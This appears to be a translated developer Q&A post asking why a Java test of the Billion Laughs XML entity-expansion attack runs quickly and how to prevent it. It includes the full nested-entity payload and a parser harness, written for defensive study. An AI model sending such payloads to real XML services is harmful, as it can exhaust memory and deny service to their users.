如何重现和防止Java中的Billion Laughs攻击?

Joh*_*ohn 5 java security

经过一些研究,这里有一个代码示例,我认为应该容易受到Billion Laughs攻击.然而它似乎没有工作,Done.太快地打印到控制台(从人类的角度来看).

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.InputSource;

public class BillionLOLs {

    public static void vuln(String xml) {

        try{
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            DocumentBuilder builder = factory.newDocumentBuilder();
            Document doc = builder.parse(new InputSource(new StringReader(xml)));
            Element root = doc.getDocumentElement();
        } catch (Exception e){

        }
    }

    public static void main(String[] args){

        String xml = 
                "<?xml version=\"1.0\"?>"
                + "<!DOCTYPE lolz ["
                + "<!ENTITY lol \"lol\">"
                + "<!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">"
                + "<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">"
                + "<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">"
                + "<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">"
                + "<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">"
                + "<!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">"
                + "<!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">"
                + "<!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">"
                + "]>"
                + "<lolz>&lol9;</lolz>";

        vuln(xml);
        System.out.println("Done.");

    }
}
Run Code Online (Sandbox Code Playgroud)

我已经阅读了有关如何在Java中修复此问题的OWASP备忘单,并且我认为这些方法仍然是最新的,并且在此期间没有发现其他可能使OWASP指导无关的聪明攻击.

我的具体问题是为什么我的代码执行时间不长,就像我期望的那样,如果Java容易受到Billion Laughs攻击的影响,我怎么能阻止它呢?

该命令java -version提供以下输出.

java版"1.7.0_75"

Java(TM)SE运行时环境(版本1.7.0_75-b13)

Java HotSpot(TM)客户端VM(内置24.75-b04,混合模式,共享)